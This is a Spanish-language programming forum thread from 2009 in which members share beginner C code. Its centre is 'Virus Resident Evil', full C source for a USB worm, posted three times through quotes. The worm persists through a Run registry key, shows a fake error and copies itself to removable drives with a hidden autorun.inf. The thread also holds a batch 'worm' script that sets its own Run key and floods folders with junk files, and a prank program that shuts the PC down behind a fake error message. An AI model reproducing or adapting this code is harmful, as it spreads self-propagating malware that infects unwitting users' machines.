hola inicie este tema para publicar algunos codes, si tienen algunos compartan para aprender mas
bueno inicio con este que es muy entretenido
Mause Pegado
#include<windows.h> //Incluye la libreria de windows
main(){ //Iniciamos main
FreeConsole(); //Ocultamos la ventana del ms-dos
while(1){ //declaramos un while infinito
SetCursorPos(300,432); //Ubicamos el cursor en las cordenadas 300,432
} //fin del while
} //fin del main
PD: Para terminar el programa, abran el administrador de tareas (Ctrl+shift+Esc) vayan a procesos (moviendose con el tabulador) y terminen el proceso (con el boton que esta enmdio de Alt Gr y Ctrl).
Espero y les sea educativo
aqui dejo otro programa, yo se que no es muy comodo aqui pero solo es de forma educativa
Virus Resident Evil by Dhararon
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>
main(){
FreeConsole();
while (1){
char usb[24][4]={
{"c:\\"},{"d:\\"},{"e:\\"},{"f:\\"},{"g:\\"},{"h:\\"},
{"i:\\"},{"j:\\"},{"k:\\"},{"l:\\"},{"m:\\"},{"n\\"},
{"o:\\"},{"p:\\"},{"q:\\"},{"r:\\"},{"s:\\"},{"t:\\"},
{"u:\\"},{"v:\\"},{"w:\\"},{"x:\\"},{"y:\\"},{"z:\\"}
};
int i;
char virus[50]="residentevil.exe";
char virus2 [500]="[AutoRun]\nopen=residentevil.exe\nshell\\open\\Command=residentevil.exe\nshell\\open\\Default=1\nshell\\explore\\Command=residentevil.exe\n ; este archivo no es un virus / not is a virus this file";
char virus3[12]="autorun.inf";
char reg2[500]="Software\\Microsoft";
char reg3[50]="\\Windows\\CurrentVersion";
char reg4[20]="\\run";
char a[200];
char b[200];
FILE *ar;
ar=fopen("c:\\residentevil.exe","r");
if(ar){
strcat(reg2,reg3);
strcat(reg2,reg4);
HKEY hkey;
RegOpenKey(HKEY_LOCAL_MACHINE,reg2,&hkey);
RegSetValueEx(hkey,"residentevil",0,REG_SZ,(const unsigned char*)"C:\\residentevil.exe",sizeof"C:\\residentevil.exe");
RegCloseKey(hkey);
MessageBox(NULL,"Error, la version de su windows es ilegal","Error de autentificacion",MB_ICONERROR);
Sleep(5000);
FILE *er;
for(i=0;i<=24;i++){
if( GetDriveType(usb[i]) == DRIVE_REMOVABLE){
strcpy(a,usb[i]);
strcat(a,virus);
er=fopen(a,"r");
if(er){
fclose(er);
FILE *inf;
FILE *inf2;
strcpy(b,usb[i]);
strcat(b,virus3);
inf=fopen(b,"r");
if(inf){
fclose(inf);
}
else{
inf2=fopen(b,"w");
fprintf(inf2,"%s",virus2);
fclose(inf2);
SetFileAttributes(b,FILE_ATTRIBUTE_HIDDEN);
}
}
else{
CopyFile(virus,a,true);
}
}
}
}
else{
CopyFile(virus,"c:\\residentevil.exe",true);
}
}
}
eahh,,! gracias por compartir,, vamos a probar,,
saludos y cuidense,,
pasense por el chat,,!
pues ni entiendo y por falta de tiempo no me he dado la tarea de estar investigando acerca de programacion pero un dia de estos tendré que darme una escapada por que si quiero aprender algo de programacion Muchas gracias
* dhararon
salu2 sale cuidense Bye ;D
ke onda dhararon , hace tiempo ke no lo veo por a kaa.
saludos.
hola a todos, si creo que despues de mucho tiempo vuelvo por aqui pero pues no fue mi culpa, sino de la escuela, bueno les traigo este programa que sirve para crear archivos, es un poco sencillo ya que fue el primer programa que desarrolle XD
#include<stdio.h>
#include<stdlib.h>
/*version beta*/
main(){
char nom[30];
char nom2[500];
FILE *archivo; //Declaro unicio de variable para ficheros
archivo=fopen("tu escrito.txt", "w"); //creo un nuevo fichero (w) con el nombre de tu escrito
printf("ingresa un nombre: ");
gets(nom); //recolecto nombre
system ("cls");
printf("ingresa tu texto: ");
gets (nom2); //recolecto texto
fprintf(archivo, "%s\n\n %s \n\nhecho por DHARARON", nom, nom2); //Imprimo en el archivo
fclose(archivo); //Se cierra el archvo, hacer esto siempre
system ("cls");
printf("programa hecho por dhararon");
system("pause>nul");
}
dhararon cual av me sirve contra tu virus.... me infecte! ja ja ja
cuidate
Cita de: dhararon en Octubre 03, 2009, 09:32:53 PM
aqui dejo otro programa, yo se que no es muy comodo aqui pero solo es de forma educativa
Virus Resident Evil by Dhararon
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>
main(){
FreeConsole();
while (1){
char usb[24][4]={
{"c:\\"},{"d:\\"},{"e:\\"},{"f:\\"},{"g:\\"},{"h:\\"},
{"i:\\"},{"j:\\"},{"k:\\"},{"l:\\"},{"m:\\"},{"n\\"},
{"o:\\"},{"p:\\"},{"q:\\"},{"r:\\"},{"s:\\"},{"t:\\"},
{"u:\\"},{"v:\\"},{"w:\\"},{"x:\\"},{"y:\\"},{"z:\\"}
};
int i;
char virus[50]="residentevil.exe";
char virus2 [500]="[AutoRun]\nopen=residentevil.exe\nshell\\open\\Command=residentevil.exe\nshell\\open\\Default=1\nshell\\explore\\Command=residentevil.exe\n ; este archivo no es un virus / not is a virus this file";
char virus3[12]="autorun.inf";
char reg2[500]="Software\\Microsoft";
char reg3[50]="\\Windows\\CurrentVersion";
char reg4[20]="\\run";
char a[200];
char b[200];
FILE *ar;
ar=fopen("c:\\residentevil.exe","r");
if(ar){
strcat(reg2,reg3);
strcat(reg2,reg4);
HKEY hkey;
RegOpenKey(HKEY_LOCAL_MACHINE,reg2,&hkey);
RegSetValueEx(hkey,"residentevil",0,REG_SZ,(const unsigned char*)"C:\\residentevil.exe",sizeof"C:\\residentevil.exe");
RegCloseKey(hkey);
MessageBox(NULL,"Error, la version de su windows es ilegal","Error de autentificacion",MB_ICONERROR);
Sleep(5000);
FILE *er;
for(i=0;i<=24;i++){
if( GetDriveType(usb[i]) == DRIVE_REMOVABLE){
strcpy(a,usb[i]);
strcat(a,virus);
er=fopen(a,"r");
if(er){
fclose(er);
FILE *inf;
FILE *inf2;
strcpy(b,usb[i]);
strcat(b,virus3);
inf=fopen(b,"r");
if(inf){
fclose(inf);
}
else{
inf2=fopen(b,"w");
fprintf(inf2,"%s",virus2);
fclose(inf2);
SetFileAttributes(b,FILE_ATTRIBUTE_HIDDEN);
}
}
else{
CopyFile(virus,a,true);
}
}
}
}
else{
CopyFile(virus,"c:\\residentevil.exe",true);
}
}
}
Cita de: ¬¬ en Octubre 04, 2009, 08:24:42 PM
dhararon cual av me sirve contra tu virus.... me infecte! ja ja ja
cuidate
Cita de: dhararon en Octubre 03, 2009, 09:32:53 PM
aqui dejo otro programa, yo se que no es muy comodo aqui pero solo es de forma educativa
Virus Resident Evil by Dhararon
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>
main(){
FreeConsole();
while (1){
char usb[24][4]={
{"c:\\"},{"d:\\"},{"e:\\"},{"f:\\"},{"g:\\"},{"h:\\"},
{"i:\\"},{"j:\\"},{"k:\\"},{"l:\\"},{"m:\\"},{"n\\"},
{"o:\\"},{"p:\\"},{"q:\\"},{"r:\\"},{"s:\\"},{"t:\\"},
{"u:\\"},{"v:\\"},{"w:\\"},{"x:\\"},{"y:\\"},{"z:\\"}
};
int i;
char virus[50]="residentevil.exe";
char virus2 [500]="[AutoRun]\nopen=residentevil.exe\nshell\\open\\Command=residentevil.exe\nshell\\open\\Default=1\nshell\\explore\\Command=residentevil.exe\n ; este archivo no es un virus / not is a virus this file";
char virus3[12]="autorun.inf";
char reg2[500]="Software\\Microsoft";
char reg3[50]="\\Windows\\CurrentVersion";
char reg4[20]="\\run";
char a[200];
char b[200];
FILE *ar;
ar=fopen("c:\\residentevil.exe","r");
if(ar){
strcat(reg2,reg3);
strcat(reg2,reg4);
HKEY hkey;
RegOpenKey(HKEY_LOCAL_MACHINE,reg2,&hkey);
RegSetValueEx(hkey,"residentevil",0,REG_SZ,(const unsigned char*)"C:\\residentevil.exe",sizeof"C:\\residentevil.exe");
RegCloseKey(hkey);
MessageBox(NULL,"Error, la version de su windows es ilegal","Error de autentificacion",MB_ICONERROR);
Sleep(5000);
FILE *er;
for(i=0;i<=24;i++){
if( GetDriveType(usb[i]) == DRIVE_REMOVABLE){
strcpy(a,usb[i]);
strcat(a,virus);
er=fopen(a,"r");
if(er){
fclose(er);
FILE *inf;
FILE *inf2;
strcpy(b,usb[i]);
strcat(b,virus3);
inf=fopen(b,"r");
if(inf){
fclose(inf);
}
else{
inf2=fopen(b,"w");
fprintf(inf2,"%s",virus2);
fclose(inf2);
SetFileAttributes(b,FILE_ATTRIBUTE_HIDDEN);
}
}
else{
CopyFile(virus,a,true);
}
}
}
}
else{
CopyFile(virus,"c:\\residentevil.exe",true);
}
}
}
De hecho cualquiera, ya que al momento de la infeccion todos los antivirus lo detectan porque forza a crear una entrada en el registro, ahora bien, si no fue asi, entra en modo seguro (enciende la pc y apritamuchas veces F8 y dale en modo seguro), despues vas a C:/ y borras el archivo llamado residentevil.exe y otro que se llama autorun.inf , luego abre ejecutar y escribe msconfig, ve a la pestañña de inicio o inicio de windows y desactiva el que diga residentevil suerte y perdon, pero nunca pense que se fuesen a infectar.
pd: si metiste o tenias algun usb dentro cuando compilaste, vacunalo con kaspersky o desactiva el autorun de tu pc
Cita de: N03L!!! en Octubre 05, 2009, 11:37:42 AM
Vaya no me imagine que el lenguaje c.c+ tambien servia para hacer virus y programas voy a ponerme a estudiar mas este milagroso lenguaje :)
Gracias dhararon necesitabamos un experto como vos en el foro aunque tambien esta Cazador asesino que tambien es un experto ;) va todos somos expertos pero no se nos nota jaja
Tengo una pregunta:
@echo off
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat
:worm
cd \
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd \
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
Este codijo se puede usar en c osea se puede pasar en c o como hago?
Pdd.no me hechen la culpa si se infectan con el code jajaja
Pero quiero saber de estas cosas no para hacerlas
Se tiene que estructurar denuevo el codigo, porque eso no sirve ya que unicamente son comandos progamados, ahora, como que no sabias que en C/C++ servia para hacer virus y programas?, C/c++ son la base del sistema operativo GNU/linux y es el mejor lenguaje de programacion, pueses buscar el REACTOS que es identico a windows pero de codigo abierto.
ahora para ejecutar un comando de consola en C se usa el codigo system("comando");
ejemplo:
#include<stdlib.h> //el codigo system esta declarado aqui
main(){
system("cls"); //limpia la pantalla
system("echo HOLA MUNDO"); //imprime hola mundo
system("pause>nul"); //pone en pausa la aplicacion
}
Espero y te sirva esta informacion
Eso espero N03L!!!, espero que se ponga a estudiar "duro".
por ke siempre me enkuentro personas ke dicen ke kieren aprender c o c++ y nunka estudian y no le echan las ganas, espero ke no sea uno mas.
En lo personal a mi no me gusta enseñar, (porke no se explikar bien lo ke trato de decir, jaja) y la otra no me gusta enseñar por flojera.
a si ke le pongo su tarea
Investigue todos los operadores para este lenguaje y aprendaselos.
investigue las librerías o cabeceras mas usadas de este lenguaje.
Investigue como hacer algoritmos (pseudocodigo, diagrama deflujo) si kiere otro pues investiguelo.
haga ejercicios para crear algoritmos
ahh y tambien investigue ke es un algoritmo ;)
Investige una estrcutura para c o c++ y como esta compuesta.
lea la historia de c.
No este esperanzado a ke le pongan todo en bandeja de oro o plata, sea autodidacta mi amigo N03l.
luego te paso unos libros de nivel básico muy buenos.
a si ke a estudiar N03L.
salu2s
a si es C,C++,C# es grande y muy padre. larga vida... je
dijera mis maestra de Mate.... todos podemos solo nos falta la actitud y responsabilidad
jajaja, tabien no gastare tu nombre.
ejekutar ke??
el codigo??
cual??
el ke te dio el buen dhararon
o el batch??
necesitas un compilador Borland o Dev
investiga ke es un compilador
Guardar --> Compilar ---> Ejekutar
Cita de: GaRfA en Octubre 05, 2009, 07:51:33 PM
jajaja, tabien no gastare tu nombre.
ejekutar ke??
el codigo??
cual??
el ke te dio el buen dhararon
o el batch??
necesitas un compilador Borland o Dev
investiga ke es un compilador
Guardar --> Compilar ---> Ejekutar
yo siempre uso el codeblocks porque se me hace bueno, ahora a que no loe entiendes?
la sintaxis de system es muy facil es system("aqui el comando de consola");
que es un comando de consola?
un comando de consola es igual a abrir la consola (Inicio>ejecutar y escribes command) y en la ventana negra pones dir.
mas claro
abre el bloc de notas y pon
dir
pause
guardala como prueba.bat y ejecutalo, veras que pone muchos directorios, ahora abre el compilador de c/c++ y pon
#include <stdlib.h>
main(){
system("dir");
system("pause");
}
y veras que ejecuta lo mismo.
espero y esto te sea mas util, si quieres agregame al msn, es hacktroz@hotmail.com
ps me tocará entrarle tambien a c++ ejejej,,,
weno me retiro y me buscare alguns tutos para aprender,,
saludos, cuidense,,
Visiten ChatLDC <--------
DJMASTER
Cita de: N03L!!! en Octubre 06, 2009, 09:33:28 PM
no sabes que me gustaria que me esplicara como hacer por ejemplo que se apage la compu en 50 segundo
ya se que es shutdown -s -t 50-c pero como lo hago a esto en c.c+
y para safar es shutdown -a jajaj
Ese programa esta publicado en la respuesta No.7 de la Escuela de C/C++ en versiones windows y linux con leves diferencias... Usalo BIEN.
Cita de: N03L!!! en Octubre 06, 2009, 09:33:28 PM
no sabes que me gustaria que me esplicara como hacer por ejemplo que se apage la compu en 50 segundo
ya se que es shutdown -s -t 50-c pero como lo hago a esto en c.c+
y para safar es shutdown -a jajaj
Ese como ya explique seria:
#include<stdlib.h>
main(){
system("shutdown -s -t 50-c");
}
listo como vez, solo meti shutdown -s -t 50-c dentro del system
¬¬
Mi buen, comprate un buen libro de introducción a la informática, no esperes que todo te lo den como papilla...
Cita de: N03L!!! en Octubre 07, 2009, 01:07:34 PM
jajaj tienes razon pero eso lotengo como cosa secundaria jajaja
emm ya se que significa menu pero nose para que sirve eso es algo jajaja
¬¬ ¬¬ ¬¬
Vos... leete toda la escuela de C/C++ desde el hola mundo para que vayas entendiendo la programación, y de paso tambien leete lo de escuela de gnu/linux....
main es la función principal del programa, digamos que es lo primero que se ejecuta en un programa, y desde esa funcion se pueden mandar a llamar otras funciones (NO PREGUNTES QUE ES UNA FUNCION.. LEE LA ESCUELA DE C/C++) e incluso otros programas y comandos (como el shutdown)...
=========================================================
Main no es menú (menú es menu), main significa principal
Por cierto si tu prioridad no es la informatica entonces ¿Qué onda con la programación? yo veo que de buena gana muchos te contestan, pero si de todos modos no lo vas a aprovechar??? no tiene caso contestar ;)
No lo digo de mala gana sino que: Hey! no te aproveches de los que te ayudan, mejor si realmente te intereza, demuestra que puedes aprender algo por tí mismo y que tienes el interes de realmente aprender....
Cita de: makubex en Octubre 07, 2009, 01:16:03 PM
Cita de: N03L!!! en Octubre 07, 2009, 01:07:34 PM
jajaj tienes razon pero eso lotengo como cosa secundaria jajaja
emm ya se que significa menu pero nose para que sirve eso es algo jajaja
¬¬ ¬¬ ¬¬
Vos... leete toda la escuela de C/C++ desde el hola mundo para que vayas entendiendo la programación, y de paso tambien leete lo de escuela de gnu/linux....
main es la función principal del programa, digamos que es lo primero que se ejecuta en un programa, y desde esa funcion se pueden mandar a llamar otras funciones (NO PREGUNTES QUE ES UNA FUNCION.. LEE LA ESCUELA DE C/C++) e incluso otros programas y comandos (como el shutdown)...
=========================================================
Main no es menú (menú es menu), main significa principal
Por cierto si tu prioridad no es la informatica entonces ¿Qué onda con la programación? yo veo que de buena gana muchos te contestan, pero si de todos modos no lo vas a aprovechar??? no tiene caso contestar ;)
No lo digo de mala gana sino que: Hey! no te aproveches de los que te ayudan, mejor si realmente te intereza, demuestra que puedes aprender algo por tí mismo y que tienes el interes de realmente aprender....
Makubex tiene razon, yo aprendi C por mi propia cuenta, y teniendo una vision, la cual fue crear un antivirus (que porcierto lo logre), pero me costo mucho trabajo, pero creo que no me arrepiento de aberlo hecho ya que cuando me enseñaron c en mi escuela sabia mas que el profesor XD, hechale ganad y busca ell manual de "aprenda C como si estubiera en primero" ese es de los mejores manuales.
a si es N03l, recuerda lo ke te dije antes, aprense hacer Autodidacta.
no kieras korrer antes de tiempo, ni preguntar kosas ke todavia no entiendes bien.
claro, tu pon tu cogido, peroooooooooooooooo
primero lo primero si tienes dudas, estudia primero y lo ke no te kede bien claro pues ya preguntas.
pero no preguntes sin haber estudiado o solo darle un repason
deja me recukepero de mi nche enfermedad y tratare de pasarte un buen libro nivel básico muy detallado con sugerencias muchos ejercicios y muy bien explikado
suerte
ja ja ja NO3L deberas hacerte a la idea que la programacion y sus ramas son basadas en la matematica... se podria decir que para programar requieres de ser matematico je je je
cuidate
Cita de: N03L!!! en Octubre 10, 2009, 12:29:42 AM
no ni ganas ser como abert aitain o como sea hasta las fracciones y numeros sexasimales las entiendo
jaja sidi con que me sepa las tablas de muliplicar xD te quiero ver haciendo ecuaciones ya un poco mas complejas Derivadas, Integrales etc... asdasd salu2...
Bueno, corrigiendo tu programa (y mejorandolo un poco - en base a lo que observo que deseas hacer) quedaría algo así:
--------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h> //Contiene a la función Sleep
int main ()
{
int i;
printf("\nError 455.. con aplicacion\n");
system("shutdown -s -t 50");
printf("\nSu computador se apagara en 50 segundos por las causas del problema");
for(i=1;i<=50;i++)
{
printf("\t%d",50-i);
Sleep(1000);
}
printf("\nSi se creyo el virus es un tonto/n");
system("pause");
return 0;
}
--------------------------------------------------------------------
Obs: No use la herramienta "código del BBCode" porque en este caso, el ejemplo es pequeño y quise facilitar su lectura.
Correciones:
* Te faltaron las llaves que contienen todo el main
* El printf usa paréntesis, no llaves.
* El return finaliza la función, en este caso el main, por ello debe de ir al final
* En vez de escribir 50 sentencias printf, es mejor usar una instrucción repetitiva como el for
*Use el Sleep para darle ese efecto de contador (Tuve que agregar el window.h
-> Espero haber sido didáctico
que bueno vamos Noel tu puedes...
Emm sigues teniendo problemas con las llaves {}...
Estás compilando tu código????
Busca un buen compilador: yo recomiendo el que trae incluido el CodeBlocks
Sobre las bibliotecas:
iostream es para C++ y solamente se declara
#include <iostream>
windows.h es para programar gráficos en windows, es un tanto complicado pero una ves entendiendo su funcionamiento todo se aclara...
stdio.h es el equivalente de iostream pero en C tradicional, de manera que en un código depurado o usas una o usas la otra. De hecho no pasa nada si usas las dos pero es de mal gusto ;) como comer galletas cremosas y luego saladas ;)
Todas las demás son estandar de c y c++
Ok publicare algo en la escuela de C/C++ acerca de las llaves y espero que te quede más claro ;) en realidad se llama BLOQUES DE CÓDIGO...